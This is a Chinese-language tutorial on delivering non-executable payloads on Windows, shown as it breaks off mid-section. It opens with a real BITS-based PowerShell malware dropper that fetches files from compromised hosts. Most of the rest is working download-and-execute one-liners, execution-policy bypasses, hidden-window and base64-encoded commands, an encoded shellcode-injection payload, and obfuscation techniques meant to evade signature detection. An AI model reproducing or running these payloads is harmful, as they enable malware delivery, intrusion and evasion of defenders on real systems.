https://www.virustotal.com/#/file/6b5d06fe2085fcade04dce3bdd1a62aa5c72720e4ba9329ddd893caaf59be6b5/community

payload.bat

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -command Set-Variable -name zsb -value BitsTransfer; 
Import-Module BitsTransfer; 
$app = "cmd.exe /c mkdir C:\Users\lb06817\AppData\Local\madCollection"; 
Invoke-Expression -Command $app; 
Start-BitsTransfer "http://onthesummit.pl/wp-includes/random_compat/7z.png" "$env:LOCALAPPDATA\madCollection\bc3efab342f72c6e7e5d9b61136edb03.exe"; 
Start-BitsTransfer "http://kerryvandermeer.com/images/hgu5bzuhS0pp.7z" "$env:LOCALAPPDATA\madCollection\IloyECOLmtqs.7z"; 
$extract = "cmd.exe /c C:\Users\lb06817\AppData\Local\madCollection\bc3efab342f72c6e7e5d9b61136edb03.exe x C:\Users\lb06817\AppData\Local\madCollection\IloyECOLmtqs.7z -oC:\Users\lb06817\AppData\Local\madCollection -r -pabc195bzuhS090cvb"; 
Invoke-Expression -Command $extract; 
$start = "cmd.exe /c C:\Users\lb06817\AppData\Local\madCollection\twunk_32.exe C:\Users\lb06817\AppData\Local\madCollection\sqlSodxQ.sql"; 
Invoke-Expression -Command $start; 
Write-Host "Finish"

0x2:通过管道执行bat指令

cmd.exe /K < hello.bat

Windows下非PE方式载荷投递方式研究

要注意的是,bat脚本最后一行必须要加一个换行符,否则会遇到“more?”报错。

 

6. Powershell脚本

PowerShell是微软开发的一款任务自动化和配置管理工具,目的是让管理员高效地完成对系统及应用程序的管理和控制,包括Windows PowerShell和PowerShell Core。在设计之初,PowerShell仅作为Windows组件存在,即Windows PowerShell;2016年8月18日,微软将PowerShell开源,并发布PowerShell Core,实现了跨平台,可在Linux上和macOS系统上安装使用。

PowerShell是一个非常庞大和复杂的概念,主要由两部分组成:

  • 命令语言解释器(Shell):作为命令解释程序,PowerShell有别于传统基于文本的Shell,它接受与返回的都是.NET对象,是基于面向对象的Shell,具有可扩展性。PowerShell的命令叫做cmdlet(command-let),采用了“动词-名词”的命名方式,动词部分取自于一个制定的动词集合,名词部分则描述了命令要操作的对象
    • 完全兼容windows 平台上其它调用,如
      • 可执行文件(exe)
      • 批处理bat
      • vb script脚本等
    • 启动第三程序,如:
      • cmd.ee
      • dll
      • jar
      • wmic
    • 对COM(组件对象模型)的完全访问
  • 基于.NET Framework\.NET Core 的脚本语言:作为一种面向对象的脚本语言,PowerShell构建在.NET平台之上,可以直接调用.NET类库、创建.NET对象,同时支持用于循环、条件、流控制和变量赋值的语言结构,其语法功能和关键字与C# 编程语言中所使用的十分类似。
https://www.freebuf.com/column/148989.html

我们知道,漏洞或黑客攻击的本质原因是操作系统提供的某些特性或功能被黑客利用或误用产生的未授权或非常规渠道访问导致的,我们这里从黑客的视角来看一看powershell的哪些“特性”可能产生攻击向量从而被黑客利用:

  • 方便的指令执行能力:Powershell和bat脚本语言一样,已经被内嵌到windows操作系统中,成为默认支持的一部分了,因为我们可以直接在命令行执行ps代码(无落盘),也可以像写C代码一样编写ps1文件(轻量脚本文件落盘),通过powershell.exe进行解释执行。
  • 面向对象的对抗能力:Windows PowerShell 引入了 cmdlet(读作“command-let”)的概念,它是内置于 Shell 的简单的单一函数命令行工具。 可以将各种 cmdlet 进行组成,形成强大的可编程逻辑,这使得powershell这种脚本具备面向对象的能力
  • 方便的文件访问能力:与许多 Shell(javascript/vbscript) 类似,Windows PowerShell 允许你访问计算机上的文件系统。 此外,Windows PowerShell 提供程序使你能够像访问文件系统一样方便地访问其他数据存储(例如注册表和数字签名证书存储)
  • 进程白名单绕过:Powershell在大多数情况下是AppLocker放行或者在应用软件白名单中的,因为Powershell本身是系统运维的一个很基础很重要的工具
  • 入侵全周期参与:powershell几乎可以在入侵killchain的任何一个环节与位置参与作用
  • 内嵌解析执行能力(Macros)
    • Word
    • Excel
  • 远程指令执行能力
    • PowerShell Remoting 

也正是因为这些特性,很多pentest toolkits(例如empire)使用powershell作为开发语言编写了很多exploit toolkits。

0x1:绕过针对ps1文件的“Restricted”限制执行策略

powershell的execute policy相当于一个running account开关,主要目的在于限制非admin管理员使用powershell这种强大工具的能力,需要注意的是,execute policy并不是设计用来组织黑客攻击的,它仅仅是出于运维目的,防止管理员“不小心”执行了预期之外的指令。

powershell execute policy仅仅针对在控制台或PS交互式环境下试图启动执行ps1脚本文件时,进行限制。对直接执行ps指令的方式不产生任何block作用。

查看所有的可选策略选项:

powershell Get-ExecutionPolicy -List

Windows下非PE方式载荷投递方式研究

查看当前限制策略:

powershell Get-ExecutionPolicy

Windows下非PE方式载荷投递方式研究

因为这种限制的存在,黑客以及exploit kits的在进行powershell入侵的时候,几乎不会使用文件载荷的方式,而在大多数情况下都会使用直接输入ps指令的非交互式方式进行payload载荷投递。

1. 通过唤出认证管理器,禁用执行策略

执行如下函数,唤出认证管理器,同时默认策略修改为unrestricted,但是只在一个会话范围内生效

powershell "function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield('_context','nonpublic,instance').getvalue( $executioncontext)).gettype().getfield('_authorizationManager','nonpublic,instance').setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager 'Microsoft.PowerShell'))}; Disable-ExecutionPolicy; ./hello.ps1"

Windows下非PE方式载荷投递方式研究

2. 通过注册表设置执行策略为 CurrentUser 作用域

该方法和Process作用域方法类似,但是通过注册表key可将设置持续应用到当前用户环境中。

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

Windows下非PE方式载荷投递方式研究

0x2:通过管道方式投递载荷

1. 通过cmd的print类指令输入ps code string

echo是cmd bat指令

Echo Write-Host "My voice is my passport, verify me."  | PowerShell.exe -noprofile -

Windows下非PE方式载荷投递方式研究

也可以用type指令代替echo:

TYPE hello.ps1 | PowerShell.exe -noprofile -

Windows下非PE方式载荷投递方式研究

2. 通过powershell自身的cmdlet读取ps code string传入

Get-Content 是powershell cmdlet,需要借助powershell.exe解析执行

powershell Get-Content ./hello.ps1 | PowerShell.exe -noprofile - 

Windows下非PE方式载荷投递方式研究

0x3:通过Network IO从远程下载ps code string

1. 基于Invoke-Expression cmdlet 以及 .NET网络IO相关cmdlet 完成远程文件下载 && 并执行

我们知道, powershell是基于.Net框架的,powershell.exe只是命令行方式的一种实现,本质是对System.Management.Automation.dll的封装,所以我们可以借助 .NET 相关的面向对象组件实现网络文件下载以及进程启动的目的,这是非常容易的(在 C# 编程中这非常常见)

同时,这种方法可以从远程服务器下载一个ps1脚本代码,同时做到文件不落盘:

1. 从远程获取http response ps string并直接在内存里执行

先来尝试从远程获取一个ps string,通过创建Net.WebClient对象,实现远程文件下载(和 C# 是一样的)

powershell (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
# 注意!.NET的package空间的System是默认省略的
powershell (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');

Windows下非PE方式载荷投递方式研究

函数的返回结果就是远程文件的string,然后调用Invoke-Expression或 IEX 解析执行返回的ps代码,类似php里的eval

# 直接查传参解析执行
powershell IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
# 管道传入
powershell "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";

Windows下非PE方式载荷投递方式研究

这种方式的原理类似于PHP WEBSHELL里的eval(get_file_content(“http://utl/evilcode”)),核心思想都是一样的。

2. 从远程http服务器下载一个文件落盘

powershell (New-Object Net.WebClient).DownloadFile('https://pastebin.com/raw/EBPsTBLt', './hello_remote.ps1'); 
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://reverse-tcp.xyz/test.exe','C:\test.exe')
powershell (Invoke-WebRequest http://reverse-tcp.xyz/test.jpg -O test.jpg)

# 从UVC读取
powershell -exec bypass -f \\webdavserver\folder\payload.ps1

这种方式会产生一个落盘文件。

Windows下非PE方式载荷投递方式研究

至于要落盘什么类型文件,以及落盘之后如何启动,又有非常多的攻击向量进行组合了

2. Net.WebClient.下其他和网络IO相关的API

# Net.WebClient.下有很多和网络IO相关的API
• .DownloadString
• .DownloadStringAsync
• .DownloadStringTaskAsync
• .DownloadFile
• .DownloadFileAsync
• .DownloadFileTaskAsync
• .DownloadData
• .DownloadDataAsync
• .DownloadDataTaskAsync
• etc.

3. Options for remote download in PowerShell - 其他网络IO相关package

.NET 中可以被用于网络IO的package

1. New-Object Net.WebClient
2. PowerShell v3.0+
    1) Invoke-WebRequest/ IWR
    2) Invoke-RestMethod/ IRM
3. .Netmethods
    1) [System.Net.WebRequest]
    2) [System.Net.HttpWebRequest]
    3) [System.Net.FileWebRequest]
    4) [System.Net.FtpWebRequest]

例如:

IEX (New-Object System.IO.StreamReader([Net.HttpWebRequest]::Create("https://pastebin.com/raw/EBPsTBLt").GetResponse().GetResponseStream())).ReadToEnd();

0x4:Powershell命令行参数的各种bypass方式

PowerShell[.exe]
       [-Command { - | <script-block> [-args <arg-array>]
                     | <string> [<CommandParameters>] } ]: 执行指定的命令(和所有参数),就像从 PowerShell 命令提示符下键入的命令一样,如果未指定 NoExit,则随后退出。 实际上,-Command 后的任何文本都会作为单个命令行发送到 PowerShell,这与 -File 对发送到脚本的参数的处理方式不同。
       [-EncodedCommand <Base64EncodedCommand>]: 接受命令的 base-64 编码字符串版本。 使用此参数将命令提交到需要复杂的引号或大括号的 PowerShell。
       [-ExecutionPolicy <ExecutionPolicy>]: 为当前会话设置默认执行策略,并将其保存在 $env:PSExecutionPolicyPreference 环境变量中。 此参数不会更改在注册表中设置的 PowerShell 执行策略。
       [-File <FilePath> [<Args>]]: 在本地作用域中运行指定的脚本(“dot-sourced”),以便脚本创建的函数和变量在当前会话中可用。 输入脚本文件路径和任何参数。 File 必须是命令中的最后一个参数,因为在 File 参数名称后键入的所有字符都会被解释为后跟脚本参数及其值的脚本文件路径。
       [-InputFormat {Text | XML}] 
       [-Mta]
       [-NoExit]: 运行启动命令后不退出。
       [-NoLogo]: 启动时隐藏版权横幅。
       [-NonInteractive]: 不向用户显示交互式提示。
       [-NoProfile]: 不加载 PowerShell 配置文件。
       [-OutputFormat {Text | XML}] 
       [-PSConsoleFile <FilePath> | -Version <PowerShell version>]
       [-Sta]
       [-WindowStyle <style>]: 为会话设置窗口样式。 有效值包括 Normal、Minimized、Maximized 和 Hidden。

1. 使用 -command 命令参数

此方法和直接粘贴ps脚本内容执行的方式很像(很像php里的eval),但是此方法不需要一个交互式的窗口,它适合于脚本脚本的执行,对于复杂脚本会发生解析错误,该方法不会产生落盘文件,因为是即时输入并即时执行的。

powershell -command "Write-Host 'My voice is my passport, verify me.'"
powershell -Command {Write-Host 'My voice is my passport, verify me.'}
powershell -Command "& {Write-Host 'My voice is my passport, verify me.'}"

powershell -Exec Bypass -Command "& {Get-EventLog -LogName security}"

Windows下非PE方式载荷投递方式研究

要注意的是:powershell的所有命令行参数都可以支持简写的形式。

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

2. 使用 -EncodeCommand 参数实现base64编码

和 -command 是一样的,区别在于脚本内容可以是 unicode/base64 encode字符串。使用编码的好处是可以避免解析问题,同时还可以躲避特征性防火墙的审核。

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

Windows下非PE方式载荷投递方式研究

我们可以在非交互式环境中直接执行这段代码:

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -ec VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 

Windows下非PE方式载荷投递方式研究

3. 使用 -Bypass 参数

该标志是微软提供的用来绕过执行策略的一种方式,当指定该标志后,即视为“Nothing is blocked and there are no warnings or prompts”

PowerShell.exe -ExecutionPolicy Bypass -File ./hello.ps1

Windows下非PE方式载荷投递方式研究

可以看到,bypass 标志绕过了restricted策略限制。

需要注意的是,执行策略可以应用到多个级别,其中就包括我们完全控制的process,该方法仅限于当前session中,执行策略会临时变为unrestricted

powershell "Set-ExecutionPolicy Bypass -Scope Process; ./hello.ps1"

Windows下非PE方式载荷投递方式研究

4. 使用 Unrestricted 标志参数 - 通过命令设置执行策略为 CurrentUser 作用域

该标志参数和 bypass 很像,但是使用该标志时,可以在当前会话内修改执行策略:

powershell "Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted; ./hello.ps1"

Windows下非PE方式载荷投递方式研究

5. 使用 -ExecutionPolicy Remote-signed 标志参数

该标志参数指示允许运行签名后的ps脚本:

PowerShell.exe -ExecutionPolicy Remote-signed -File ./hello.ps1

在restricted策略下,未签名的脚本不允许执行:

Windows下非PE方式载荷投递方式研究

6. -Nonl:非交互模式:PowerShell不提供用户交互式提示符

powershell -NonInteractive "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
powershell -NonI "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";

7. -W Hidden:设置窗口,将命令窗口保持隐藏

powershell -NonInteractive -W Hidden "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
powershell -NonI -WindowStyle Hidden "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
# 也支持直接用数字选项
powershell -w 1 -Enc "VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA"

执行该指令后,当前会话所在窗口会立即隐藏,如果是远程RCE执行的ps也不会产生新窗口

8. -NoProfile或者-NoP:Powershell不加载当前用户的配置

powershell -NonInteractive -W Hidden -NoProfile "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";
powershell -NonI -NoP "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt') | IEX";

0x5:使用 Invoke-Command 执行ps代码

1. 传入一个段ps code string即时执行

powershell.exe invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

Windows下非PE方式载荷投递方式研究

Invoke-Expression类似于php中的eval,只要传入的是一段代码,即可即时解析执行,

# 从文件中读取ps代码
powershell "Get-Content ./hello.ps1 | Invoke-Expression"
powershell "gc ./hello.ps1 | Invoke-Expression"

# 从http url下载ps代码
powershell IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');
powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt');

2. powershell remoting特性

如下命令,可以用来从一个远程系统(可能是黑客控制的C&C服务器)上抓取powershell配置并同时应用部署到本地计算机中:

powershell.exe invoke-command -computername remote_server_ip -scriptblock {get-executionpolicy} | set-executionpolicy -force

这相当于rundll32或regsvr32支持一个http url script文件的原理一样,允许黑客注入一个通用适配的payload向受害者机器,只要通过修改C&C服务器上的恶意脚本即可完成恶意逻辑的灵活修改

0x6:通过字符串拼接方式构造payload

1. 通过字符串拼接构造参数名

powershell -w 1 -C "sv Wo -;sv v ec;sv W ((gv Wo).value.toString()+(gv v).value.toString());
# (gv W).value.toString() = -ec
powershell (gv W).value.toString() 'JABhAHMAIAA9ACAAJwAkAEIARAAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAEMAYQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAEIARAAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJABBAE8AIAA9ACAAOwAkAFEATAAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJABBAE8ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAUQBMACAAPQAgACQAQQBPAC4ATABlAG4AZwB0AGgAfQA7ACQAWABLAD0AJABDAGEAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABRAEwALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABZAFAAPQAwADsAJABZAFAAIAAtAGwAZQAgACgAJABBAE8ALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAWQBQACsAKwApACAAewAkAEMAYQA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAFgASwAuAFQAbwBJAG4AdAAzADIAKAApACsAJABZAFAAKQAsACAAJABBAE8AWwAkAFkAUABdACwAIAAxACkAfQA7ACQAQwBhADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABYAEsALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAFcAZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJABhAHMAKQApADsAJABRAGIAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAcwBEACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAHMARAAgACQAUQBiACAAJABXAGcAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAUQBiACAAJABXAGcAIgA7AH0A'"

这里,sv是set-Var的最小化缩写,gv是get-Var的最小化缩写

2. 字符串拼接构造参数值

# 传入的参数本身是可以支持拼接的,这带来了一些bypass特性

powershell (New-Object Net.WebClient).DownloadString("htt"+"ps://pastebin.com/raw/EBPsTBLt");

# 参数的拼接对单引号和双引号都支持

powershell (New-Object Net.WebClient).DownloadString('htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 传入参数允许有空格

powershell (New-Object Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

3. 字符串拼接构造对象成员函数

# 类的成员函数调用支持字符串动态拼接结果(类似PHP中的变量函数/字符串函数)

powershell "(New-Object Net.WebClient).('Down'+'loadString').Invoke('https://pastebin.com/raw/EBPsTBLt');
# 和变量调用方式组合使用
powershell "$ds='Down'+'loadString'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('https://pastebin.com/raw/EBPsTBLt')"

4. 字符串拼接构造对象

# 字符串可以转化为对象

powershell (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');

# 变量可以参与实例化以及直接作为对象被调用

powershell "$var1='Net.'; $var2='WebClient'; (New-Object $var1$var2).DownloadString('https://pastebin.com/raw/EBPsTBLt')" 
powershell "$var1='Net.'; $var2='WebClient'; $a=($var1+$var2); (New-Object $a).DownloadString('https://pastebin.com/raw/EBPsTBLt')"

5. 字符串拼接构造cmdlet

# · 符号

`i`e`x (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');

Windows下非PE方式载荷投递方式研究

# 单引号

& ('I'+'EX') (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');
. ('I'+'EX') (New-Object ('Net.'+'WebClient')).DownloadString('https://pastebin.com/raw/EBPsTBLt');

6. 字符串拼接构造script blocks

# PowerShell's -Join (w/o delimiter)

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ($c1,$c2,$c3 -Join '') | IEX;

# PowerShell's -Join (with delimiter)

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ($c1,$c3 -Join $c2) | IEX;

# Net'sJoin

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ([string]::Join($c2,$c1,$c3)) | IEX;

# .Net'sConcat

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ([string]::Concat($c1,$c2,$c3)) | IEX;

# + operator / concatwithout + operator

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/EBPsTBLt')";
IEX ($c1+$c2+$c3) | IEX;
IEX "$c1$c2$c3" | IEX;

0x7:基于面向对象的编程方式构造payload载荷

1. 借助变量实现对象的成员函数调用

# powershell是面向实现的编程语言, 可以将实例化对象和成员函数调用步骤分开

powershell "$wc=New-Object Net.WebClient; $wc.DownloadString('htt'+'ps://pastebin.com/raw/EBPsTBLt')";

# 类的成员函数可以支持单引号和双引号包裹

powershell (New-Object Net.WebClient).'DownloadString'('https://pastebin.com/raw/EBPsTBLt');
powershell (New-Object Net.WebClient)."DownloadString"('https://pastebin.com/raw/EBPsTBLt');

# 类的成员函数可支持任意大小写

powershell (New-Object Net.WebClient)."DowNloAdSTRiNg"('https://pastebin.com/raw/EBPsTBLt');

2. 借助变量实例化新的对象

# Get-Command这个cmdlet可以返回一个object的描述对象(该描述对象本身也是一个对象),通过 & 是实现解析执行

powershell (& (GCM New-Object) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 使用完整命名包空间

(& ($ExecutionContext.InvokeCommand.GetCommand($ExecutionContext.InvokeCommand.GetCommandName("*w-o*",1,1), [System.Management.Automation.CommandTypes]::Cmdlet)) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 可以借助通配符隐蔽特征字符

powershell (& (GCM *w-O*) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# powershell会自动补全Get-到任意的指令作为前缀

powershell (& (COMMAND *w-O*) Net.WebClient).DownloadString( 'htt'+'ps://pastebin.com/raw/EBPsTBLt');

# 可以用变量代替对象声明

$var1="New"; $var2="-Object"; $var3=$var1+$var2; (& (COMMAND $var3) Net.WebClient).DownloadString('htt'+'ps://pastebin.com/raw/EBPsTBLt');  

Windows下非PE方式载荷投递方式研究

0x8:利用特殊字符串相关方式实现paylaod构造

1. 转义字符

# PS引擎支持转义字符

powershell "(New-Object Net.WebClient).\"`D`o`w`N`l`o`A`d`S`T`R`i`N`g\"('https://pastebin.com/raw/EBPsTBLt');"
# 要注意的是,转义字符在要在PS的解析环境中才可以被解释,也就说这种方式要么在PS交互式环境下执行,要么对payload进行编码后,在cmdline命令行一句话执行,要么就要在cmdline里考虑编码问题,将ps code包裹在命令行中(但要考虑编码解析问题)

0x9:将string转换为script blocks

类似php中的eval,powershell也支持将一段字符串string转换为一段powershell script代码

# 调用NewScriptBlock

$ExecutionContext.InvokeCommand.NewScriptBlock((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt'));

# 调用 ${..}

. ((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"). "`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')));
& ((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"). "`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')));

0x10:通过第三方程序完成实际的网络IO请求

1. 通过模拟键盘击键实现通过notepad实现网络IO下载

# PowerShell SendKeys

notepad有一个功能,支持在打开文件中输入url,notepad会自动在后台完成下载,并将内容显示在notepad中。我们可以通过powershell的模拟按键来模拟这个过程。

Windows下非PE方式载荷投递方式研究

# 通过发送模拟按键 
$wshell= New-Object -ComObject wscript.shell; $wshell.run("notepad"); $wshell.AppActivate('Untitled-Notepad'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait('^o'); $wshell.SendKeys('https://pastebin.com/raw/EBPsTBLt'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait("`r"); [System.Windows.Forms.SendKeys]::SendWait("`r");[System.Windows.Forms.SendKeys]::SendWait("`r"); Start-Sleep 5; $wshell.SendKeys('^a'); $wshell.SendKeys('^c');

# Execute contents in clipboard back in PowerShell process
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); $clipboardContents = [System.Windows.Forms.Clipboard]::GetText(); $clipboardContents| powershell -

# 关闭notepad窗口
Get-Process notepad | Foreach-Object { $_.CloseMainWindow() | Out-Null } | stop-process –force

在实际攻击过程中,我们可以把所有的指令合并到同一行:

$wshell= New-Object -ComObject wscript.shell; $wshell.run("notepad"); $wshell.AppActivate('Untitled-Notepad'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait('^o'); $wshell.SendKeys('https://pastebin.com/raw/GNZKd5iW'); Start-Sleep 2; [System.Windows.Forms.SendKeys]::SendWait("`r"); [System.Windows.Forms.SendKeys]::SendWait("`r");[System.Windows.Forms.SendKeys]::SendWait("`r"); Start-Sleep 5; $wshell.SendKeys('^a'); $wshell.SendKeys('^c'); [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); $clipboardContents = [System.Windows.Forms.Clipboard]::GetText(); $clipboardContents| powershell -; Get-Process notepad | Foreach-Object { $_.CloseMainWindow() | Out-Null } | stop-process –force

# .NetSendKeys(basically silent in PowerShell logs)

[void][System.Reflection.Assembly]::LoadWithPartialName("Microsoft.VisualBasic"); [void][Diagnostics.Process]::Start("notepad"); [void][System.Threading.Thread]::Sleep(2000); [void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms"); [void] [System.Windows.Forms.SendKeys]::SendWait("^o"); [void] [System.Windows.Forms.SendKeys]::SendWait("https://pastebin.com/raw/GNZKd5iW"); [void][System.Threading.Thread]::Sleep(2000); [void] [System.Windows.Forms.SendKeys]::SendWait("`r"); [void] [System.Windows.Forms.SendKeys]::SendWait("`r"); [void] [System.Windows.Forms.SendKeys]::SendWait("`r"); [void][System.Threading.Thread]::Sleep(5000); 

0x11:通过字符串文本处理绕过特征检测

1. Reverse string

